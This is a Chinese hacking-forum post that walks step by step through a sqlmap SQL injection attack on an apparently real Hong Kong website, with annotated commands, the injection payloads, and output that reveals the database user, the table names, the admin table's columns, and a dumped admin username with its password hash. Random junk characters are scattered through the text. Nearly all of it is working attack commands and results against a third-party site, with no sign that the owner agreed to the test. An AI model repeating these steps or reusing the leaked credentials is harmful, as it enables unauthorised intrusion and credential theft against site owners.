中国网络渗透测试联盟

标题: sqlmap实例注入mysql [打印本页]
作者: admin    时间: 2013-4-4 22:18
标题: sqlmap实例注入mysql
D:\Python27\sqlmap>sqlmap.py -u http://www.wepost.com.hk/article.php?id=276 --db
, L; Q% t4 f0 d$ C4 pms "Mysql" --current-user       /*  注解：获取当前用户名称
/ c$ L# l7 |' Y) f    sqlmap/0.9 - automatic SQL injection and database takeover tool1 P/ v: P0 X) W& l# E, j
    http://sqlmap.sourceforge.net
  • starting at: 16:53:54
    3 ~4 @/ I5 {5 q; a0 q3 a# d$ I9 v[16:53:54] [INFO] using 'D:\Python27\sqlmap\output\www.wepost.com.hk\session' as4 Y1 _; y3 w7 Y* q* Y8 g
    session file
    " ]1 i6 A6 e5 X7 c/ k5 y' U: r0 T- r[16:53:54] [INFO] resuming injection data from session file4 v! C3 W: m  }* h/ G' a4 o
    [16:53:54] [INFO] resuming back-end DBMS 'mysql 5.0' from session file8 E9 b3 @& C7 d! |: L& }& }
    [16:53:54] [INFO] testing connection to the target url
    ' k; D5 ~+ E  n$ x, wsqlmap identified the following injection points with a total of 0 HTTP(s) reque" L3 t) y) t. f+ I/ X: }9 L
    sts:
    + F. M1 x: `. o) W---
    8 o: Q" w# Z; w0 U. O; C! DPlace: GET# o- c$ P5 m) n( \- {4 V8 e3 u
    Parameter: id
    6 o# ]7 w+ [. a; @    Type: boolean-based blind
    3 |1 q% _/ z( Z    Title: AND boolean-based blind - WHERE or HAVING clause
    * L7 L  Y' v2 @3 o2 J    Payload: id=276 AND 799=799
    ! s$ m5 J1 }8 {$ P    Type: error-based
    3 M& \3 Y" e# D# w    Title: MySQL >= 5.0 AND error-based - WHERE or HAVING clause4 ?; U* q( Y$ Q* p# I6 x! Y
        Payload: id=276 AND (SELECT 8404 FROM(SELECT COUNT(*),CONCAT(CHAR(58,99,118,
    ' K/ ]( m% l! ?8 J1 P# j; L120,58),(SELECT (CASE WHEN (8404=8404) THEN 1 ELSE 0 END)),CHAR(58,110,99,118,580 g7 w2 Q7 ]: u, I
    ),FLOOR(RAND(0)*2))x FROM information_schema.tables GROUP BY x)a)& N$ Q3 S2 |( i
        Type: UNION query' F) e5 E6 s9 w4 J- V7 ]. L8 ^
        Title: MySQL UNION query (NULL) - 1 to 10 columns/ r7 J. n/ c& E4 L& ]
        Payload: id=-8474 UNION ALL SELECT NULL, NULL, NULL, NULL, NULL, CONCAT(CHAR  b. Y) L: U, N3 ~" y
    (58,99,118,120,58),IFNULL(CAST(CHAR(79,76,101,85,86,105,101,89,109,65) AS CHAR),& d  N3 p! S9 U( _
    CHAR(32)),CHAR(58,110,99,118,58)), NULL, NULL, NULL#
    - ?; a- l: |. P8 ~% K6 \2 _+ w    Type: AND/OR time-based blind
    & y4 b5 i+ t; s& l& G7 q& }    Title: MySQL > 5.0.11 AND time-based blind: ~* o8 _! k2 ]( {$ i
        Payload: id=276 AND SLEEP(5)4 O( W1 y6 K1 ~# @0 e
    ---% n; S& b* H* l7 g- g( F  }( \% S2 t
    [16:53:55] [INFO] the back-end DBMS is MySQL
    " `' h  t* A# r& Z1 k$ Bweb server operating system: Windows
    : `2 r1 {' e& xweb application technology: Apache 2.2.11, PHP 5.3.0
    2 z2 v8 J) G: {+ aback-end DBMS: MySQL 5.0
      W- r4 s/ p# H0 J[16:53:55] [INFO] fetching current user6 f( e+ d0 n9 Q& @5 q/ q! l9 c$ d
    current user:    'root@localhost'   
    ; v6 ^; V$ j8 R1 ~9 d" l1 A2 D6 u[16:53:58] [INFO] Fetched data logged to text files under 'D:\Python27\sqlmap\ou9 c5 s! W" }1 _& [1 ]7 w; U$ A. Q
    tput\www.wepost.com.hk'
  • shutting down at: 16:53:58
    + j) q1 I: U" y# P0 F. Q# M, V2 x! x8 P! k# k; l
    D:\Python27\sqlmap>sqlmap.py -u http://www.wepost.com.hk/article.php?id=276 --db
    3 M& n/ u4 g: ?5 K8 y4 Y& w3 mms "Mysql" --current-db                  /*当前数据库6 }4 j9 U7 H( v/ z' ?, D
        sqlmap/0.9 - automatic SQL injection and database takeover tool) w2 W1 g5 D' [/ i
        http://sqlmap.sourceforge.net
  • starting at: 16:54:16* ?* z( Q) C0 h7 M
    [16:54:16] [INFO] using 'D:\Python27\sqlmap\output\www.wepost.com.hk\session' as: ^6 d; \( E, S+ ]& I6 C
    session file) l7 F3 c' u. U$ g& f
    [16:54:16] [INFO] resuming injection data from session file: {0 H) m4 H9 t5 [
    [16:54:16] [INFO] resuming back-end DBMS 'mysql 5.0' from session file
    9 T' \- e8 \$ G) v& ~1 f; y9 l[16:54:16] [INFO] testing connection to the target url1 |" P; E* a) }% H
    sqlmap identified the following injection points with a total of 0 HTTP(s) reque
    / [6 J+ Y2 H: A) Tsts:
    " I& w: x2 B0 ]---& j9 M  s( q4 |. }. Y
    Place: GET
    - ?1 C3 b. F+ e, LParameter: id
    3 w- {: e& }. u: w    Type: boolean-based blind
    * I4 g" i' S4 r- ~- ^9 E" w2 j0 J    Title: AND boolean-based blind - WHERE or HAVING clause
    4 t1 \( E4 a/ i& {0 X0 }    Payload: id=276 AND 799=7993 z/ N* z  h5 C$ H7 n/ z/ b
        Type: error-based
    - b$ d9 r% Z0 L) j& B5 S    Title: MySQL >= 5.0 AND error-based - WHERE or HAVING clause
    4 N5 l% K6 s9 x' e( Z! x" E% ^    Payload: id=276 AND (SELECT 8404 FROM(SELECT COUNT(*),CONCAT(CHAR(58,99,118,3 b/ p/ o! A& a1 s6 E7 O5 s' h' {
    120,58),(SELECT (CASE WHEN (8404=8404) THEN 1 ELSE 0 END)),CHAR(58,110,99,118,583 I' ^0 e& a, P- G. X5 ~' p" P
    ),FLOOR(RAND(0)*2))x FROM information_schema.tables GROUP BY x)a)
    6 E) H- z+ J, c$ p! b7 T+ {& [    Type: UNION query
    , d+ X* ~" x( y1 V/ I2 h% z8 S    Title: MySQL UNION query (NULL) - 1 to 10 columns" Q! h5 t+ h, q& Y) x" r, ~1 f
        Payload: id=-8474 UNION ALL SELECT NULL, NULL, NULL, NULL, NULL, CONCAT(CHAR* p6 v0 ?% _! m0 t
    (58,99,118,120,58),IFNULL(CAST(CHAR(79,76,101,85,86,105,101,89,109,65) AS CHAR),. \$ b; L" O5 u- P
    CHAR(32)),CHAR(58,110,99,118,58)), NULL, NULL, NULL#
    * f& Z& J' S8 N3 s1 @5 e5 n    Type: AND/OR time-based blind0 h, c* n# n  ^1 ^$ x% L& }
        Title: MySQL > 5.0.11 AND time-based blind6 H7 \5 c. ]; Z& N
        Payload: id=276 AND SLEEP(5)
    ( E1 t  L" u7 T0 ]' a---. k: G3 l$ x. Z4 R4 r9 z
    [16:54:17] [INFO] the back-end DBMS is MySQL
    % N- W; r: R& a9 z+ m- s) rweb server operating system: Windows/ t4 B, P4 b' u2 L) M5 Z' K3 D- O
    web application technology: Apache 2.2.11, PHP 5.3.00 \( ]) E$ Q% H
    back-end DBMS: MySQL 5.06 Q/ y) s- t/ Y. V( K$ h
    [16:54:17] [INFO] fetching current database
    2 ?$ B7 l5 R% u# {7 gcurrent database:    'wepost'
    " j/ K1 E/ g3 f+ y0 ]- Z7 A[16:54:18] [INFO] Fetched data logged to text files under 'D:\Python27\sqlmap\ou
    8 J. k7 {8 O5 x  X; b, m* [* gtput\www.wepost.com.hk'
  • shutting down at: 16:54:18) T- i! I9 o% t, ?4 Q
    D:\Python27\sqlmap>sqlmap.py -u http://www.wepost.com.hk/article.php?id=276 --db5 ?5 H% q3 z. C4 u# U0 V  q0 q8 {
    ms "Mysql" --tables  -D "wepost"         /*获取当前数据库的表名
      b) G/ \1 G& ?) Z    sqlmap/0.9 - automatic SQL injection and database takeover tool
    ; `- v2 K7 M6 b  x5 Q    http://sqlmap.sourceforge.net
  • starting at: 16:55:25
    . i# T: b3 [) u, ]. C6 ~7 v[16:55:25] [INFO] using 'D:\Python27\sqlmap\output\www.wepost.com.hk\session' as
    8 S- }9 H2 W* b* j  y3 I  a  O/ j- L! { session file
    & @" V6 t& {& D; U[16:55:25] [INFO] resuming injection data from session file
    $ W& r# a3 i, n& T/ H- i- C$ F6 j; f[16:55:25] [INFO] resuming back-end DBMS 'mysql 5.0' from session file
    # f+ I; K( f4 M8 Q[16:55:25] [INFO] testing connection to the target url
    + @9 ~8 b, E! W1 _/ ^8 R" ysqlmap identified the following injection points with a total of 0 HTTP(s) reque1 l6 s& _2 A+ x! M8 V
    sts:
    * W4 w: ]3 k" {4 I  U5 s; M9 K---/ N7 l) u) ^1 R! `
    Place: GET8 @7 g$ M8 [0 K8 ~( b  d- i+ s
    Parameter: id! M2 ]' j  ]! S, a
        Type: boolean-based blind8 }0 N) m3 d+ X
        Title: AND boolean-based blind - WHERE or HAVING clause4 b# t6 ^- I7 ]" [( h- P" U
        Payload: id=276 AND 799=799, R/ P$ s" c5 B! G* i+ H
        Type: error-based1 y+ ^- F: d/ p
        Title: MySQL >= 5.0 AND error-based - WHERE or HAVING clause9 O4 n9 |& Y' \1 a
        Payload: id=276 AND (SELECT 8404 FROM(SELECT COUNT(*),CONCAT(CHAR(58,99,118,
    : j. m: k  m+ I( P8 W120,58),(SELECT (CASE WHEN (8404=8404) THEN 1 ELSE 0 END)),CHAR(58,110,99,118,58) G! K' E- \9 y5 i
    ),FLOOR(RAND(0)*2))x FROM information_schema.tables GROUP BY x)a)
    ' I0 ?- ^7 L$ Y9 n4 N& I2 e) ?    Type: UNION query0 p8 y! d1 I* e
        Title: MySQL UNION query (NULL) - 1 to 10 columns$ ?8 e6 d" t: s+ w
        Payload: id=-8474 UNION ALL SELECT NULL, NULL, NULL, NULL, NULL, CONCAT(CHAR* q+ v- ~* e( A' i
    (58,99,118,120,58),IFNULL(CAST(CHAR(79,76,101,85,86,105,101,89,109,65) AS CHAR),
    6 I; }3 [% T8 G2 @& }, H7 uCHAR(32)),CHAR(58,110,99,118,58)), NULL, NULL, NULL#' |/ ?. _9 R  f3 m7 n
        Type: AND/OR time-based blind
    - H; Q. `# i: t4 k6 u! R* s4 }    Title: MySQL > 5.0.11 AND time-based blind% K* T- F9 b% Q7 N6 a
        Payload: id=276 AND SLEEP(5)- _# s# b/ c5 \3 W3 j
    ---
    2 r' a5 _! _7 S* G/ Z[16:55:26] [INFO] the back-end DBMS is MySQL
    : ]/ Q. m* J: k+ d7 R# Hweb server operating system: Windows: k7 r1 ~: l! [
    web application technology: Apache 2.2.11, PHP 5.3.07 [8 t/ e* k7 \1 }0 I1 N
    back-end DBMS: MySQL 5.0
    $ F+ X& G3 K, o/ Y[16:55:26] [INFO] fetching tables for database 'wepost'
    ! R+ z6 \9 K* T. q/ S[16:55:27] [INFO] the SQL query used returns 6 entries1 I* ]0 s4 \, L: g' V2 ~& ~) e7 Q
    Database: wepost# f- [( Y0 Y+ D, h" @
    [6 tables]
    & _. q1 A- B$ j. z" i+-------------+  I' ?/ t; t) W+ E
    | admin       |
    5 _! ]$ m/ J8 {, R6 B+ z| article     |
    % Z- W. ~* x$ M1 ^2 y" f- ^| contributor |9 T' `' k9 E% ?3 X, T
    | idea        |
    4 e! D; o- }( N# S" C3 e% p9 w8 u5 J( A| image       |4 i& s  ^5 O' D! c8 d2 |
    | issue       |
    1 v$ F( `# A1 F, I- \( H& D+-------------+7 a: ?4 f1 _( I0 s% s1 H
    [16:55:33] [INFO] Fetched data logged to text files under 'D:\Python27\sqlmap\ou
    ( J6 ^6 e$ p# y( a' @8 dtput\www.wepost.com.hk'
  • shutting down at: 16:55:33- r  T9 G8 u8 I$ R. u
    % i( b# U- S( n7 t3 H  t5 w- y  h
    D:\Python27\sqlmap>sqlmap.py -u http://www.wepost.com.hk/article.php?id=276 --db7 m2 @7 q8 h) }4 R% ~
    ms "Mysql" --columns -T "admin" users-D "wepost" -v 0     /*获取admin表的字段名
    6 W  F1 Y6 }; U6 C8 N    sqlmap/0.9 - automatic SQL injection and database takeover tool
    ! [' y1 @3 W% y( N1 ]' c    http://sqlmap.sourceforge.net
  • starting at: 16:56:06, I5 o: [! F% ^2 a- g! n
    sqlmap identified the following injection points with a total of 0 HTTP(s) reque1 ^8 A! D7 `, M6 K
    sts:4 ]3 {4 b# Z' M1 Q* u8 Y- v3 S
    ---
    6 v; \' f+ g1 j: N5 w8 v% |9 `Place: GET2 a2 T* t; i' A9 Y/ }/ O; H
    Parameter: id* o* `/ m: d3 O5 D* d+ l9 o) v( B8 q! I
        Type: boolean-based blind
    ; r( `* q, k5 [+ y7 ]9 J0 {    Title: AND boolean-based blind - WHERE or HAVING clause6 H. e  a+ U+ O* @+ A  l1 c. P
        Payload: id=276 AND 799=799
    ' V" M* G4 D* I! Q, P    Type: error-based
    6 v# n7 S- A' t  p8 e$ E    Title: MySQL >= 5.0 AND error-based - WHERE or HAVING clause
    , {* r" p  Y  M% @% a    Payload: id=276 AND (SELECT 8404 FROM(SELECT COUNT(*),CONCAT(CHAR(58,99,118,6 y3 f+ F1 |  w8 h/ E" X" }& D
    120,58),(SELECT (CASE WHEN (8404=8404) THEN 1 ELSE 0 END)),CHAR(58,110,99,118,58
    9 E9 O) B3 C  ]* @0 h' ~),FLOOR(RAND(0)*2))x FROM information_schema.tables GROUP BY x)a)
    ' `% t! t9 w$ O, U    Type: UNION query
    2 d) D* c. h/ P5 @# r+ r9 ~    Title: MySQL UNION query (NULL) - 1 to 10 columns3 Q$ \, t  \6 ]4 b2 K' `1 ~
        Payload: id=-8474 UNION ALL SELECT NULL, NULL, NULL, NULL, NULL, CONCAT(CHAR
    % \8 U7 {0 Q9 T  E' ?& h' f& }  }! D(58,99,118,120,58),IFNULL(CAST(CHAR(79,76,101,85,86,105,101,89,109,65) AS CHAR)," z% L, \, E& Q( Q. I& z' O$ F
    CHAR(32)),CHAR(58,110,99,118,58)), NULL, NULL, NULL#" t  e. B; }% b5 f8 y. V! K) R
        Type: AND/OR time-based blind
    ) q/ ]9 O, ~7 V# e: z; e* g    Title: MySQL > 5.0.11 AND time-based blind7 C  g6 g0 i  ]. h. E3 L
        Payload: id=276 AND SLEEP(5)
    ! D. W( l3 {  n# @$ u: i* C---- \* }( }4 b" f, c0 K+ F2 _( j: p
    web server operating system: Windows1 w  w- u' h8 M4 G$ K, F/ a: d: G5 ^
    web application technology: Apache 2.2.11, PHP 5.3.0  X" N8 s  F; v7 H
    back-end DBMS: MySQL 5.0
    ) L% L" L; k  p$ c, ^[16:56:11] [INFO] read from file 'D:\Python27\sqlmap\output\www.wepost.com.hk\se
    ) ]% e+ S+ }# b' `2 ]3 ission': wepost, wepost' U& m/ \+ ~/ O7 x/ P1 o
    Database: wepost+ v+ V1 ?( g: @1 V! l
    Table: admin( u0 G# y. p! U9 Y
    [4 columns]" H; h5 `: t5 N) R
    +----------+-------------+
    + O- h* x1 E( A, l- }| Column   | Type        |( s2 f; D, U& L9 C, f! e3 w
    +----------+-------------+
    * o7 Z- l& B  K; ^& o| id       | int(11)     |
    , E6 Y2 C+ ~+ E+ I# a" U. G| password | varchar(32) |' Y4 Q5 D0 O2 M5 y' X
    | type     | varchar(10) |. \1 N. p% S6 M
    | userid   | varchar(20) |
    & p( E1 N8 q+ d6 @. ~4 V+----------+-------------+7 [3 n3 s& Z' J2 I
  • shutting down at: 16:56:19
    $ F9 M0 }7 z7 `+ J
    ! X  h$ y" p$ sD:\Python27\sqlmap>sqlmap.py -u http://www.wepost.com.hk/article.php?id=276 --db- f& u) Z0 k( r
    ms "Mysql"  --dump  -C "userid,password"  -T "admin" -D "wepost" -v 0      /*获取字段里面的内容2 Y# g! ]6 C. s" Z
        sqlmap/0.9 - automatic SQL injection and database takeover tool* D% M7 {; D$ R  T
        http://sqlmap.sourceforge.net
  • starting at: 16:57:14
    ) w( \0 I# L2 }sqlmap identified the following injection points with a total of 0 HTTP(s) reque$ l  G; U; S4 e+ @2 @: [
    sts:: S5 D6 I0 Z4 [5 p, J$ p4 B, O: Z/ l0 G
    ---
    6 b" m, a' ^* e% o# PPlace: GET
    9 D" b: w( ~% qParameter: id
    ' h3 [- u. G' z% f$ {" J9 R2 Y    Type: boolean-based blind
    " \" |- f; {7 k- N8 Y    Title: AND boolean-based blind - WHERE or HAVING clause
    ) C+ J( [& n0 o0 ]5 Y' }* b    Payload: id=276 AND 799=799  _0 |4 p1 c4 ~& k' n( n5 [
        Type: error-based
    ) N) k3 @/ G7 n& S$ D9 ?" D    Title: MySQL >= 5.0 AND error-based - WHERE or HAVING clause
    ! m' v# D7 k! G! c    Payload: id=276 AND (SELECT 8404 FROM(SELECT COUNT(*),CONCAT(CHAR(58,99,118,
    , P* T* B: F/ F% ^( a" c120,58),(SELECT (CASE WHEN (8404=8404) THEN 1 ELSE 0 END)),CHAR(58,110,99,118,58. c! ?# t9 z2 Z* L! K) Z3 ]
    ),FLOOR(RAND(0)*2))x FROM information_schema.tables GROUP BY x)a). f% G5 B) R) D" \  k+ r
        Type: UNION query2 d4 V: |' c6 I% K1 p3 S& o
        Title: MySQL UNION query (NULL) - 1 to 10 columns
    ) S" c2 B# f7 N& o, x& a0 v    Payload: id=-8474 UNION ALL SELECT NULL, NULL, NULL, NULL, NULL, CONCAT(CHAR4 ]1 Z( P% S& D6 ^( O: B
    (58,99,118,120,58),IFNULL(CAST(CHAR(79,76,101,85,86,105,101,89,109,65) AS CHAR),
    ( T8 m8 f& e- G- H1 yCHAR(32)),CHAR(58,110,99,118,58)), NULL, NULL, NULL#  i2 C5 ~; @* @, b& i. k5 n
        Type: AND/OR time-based blind
    7 T; R# Y" ^6 r3 f7 j3 Y    Title: MySQL > 5.0.11 AND time-based blind
    # M# k) j. e4 }- q, Y& ~* U    Payload: id=276 AND SLEEP(5)
    : C8 S- e# J7 W3 x9 e2 [6 ^---" L3 m& v' x$ A; e$ l
    web server operating system: Windows
    9 l  x. p! Z3 L7 S5 w7 P* Lweb application technology: Apache 2.2.11, PHP 5.3.0
    ; w5 R" n0 k+ t7 l6 [1 K# W3 Pback-end DBMS: MySQL 5.0
    % }9 t: g1 S' K. Jrecognized possible password hash values. do you want to use dictionary attack o+ `  s9 k# V: N% T
    n retrieved table items? [Y/n/q] y8 Q- V6 n9 F/ S
    what's the dictionary's location? [D:\Python27\sqlmap\txt\wordlist.txt]
    ; y) E: D" W7 S8 N& @do you want to use common password suffixes? (slow!) [y/N] y
    % E* W. h" F; C4 F/ ~Database: wepost  W: b2 o9 k2 g2 |
    Table: admin6 V% l2 S8 M3 b2 c1 L, ?! l# T
    [1 entry]
    , M# @& o6 s' f0 U7 @+----------------------------------+------------+
    8 w( Q2 R% K$ p. o2 K% t+ P| password                         | userid     |
    & T: H1 C3 {7 \9 A# n( c( H+----------------------------------+------------++ P" ^; h$ j9 x3 R( b7 u4 `
    | 7d4d7589db8b28e04db0982dd0e92189 | wepost2010 |" h, n( q: v, w& M* A
    +----------------------------------+------------+
    : U1 B5 q1 T) A: |* ]
  • shutting down at: 16:58:14
    % A% a, z3 N  x' X  {* q
    $ s: `8 g! a: q( n$ ~) K/ h% nD:\Python27\sqlmap>



    欢迎光临 中国网络渗透测试联盟 (https://www.cobjon.com/) Powered by Discuz! X3.2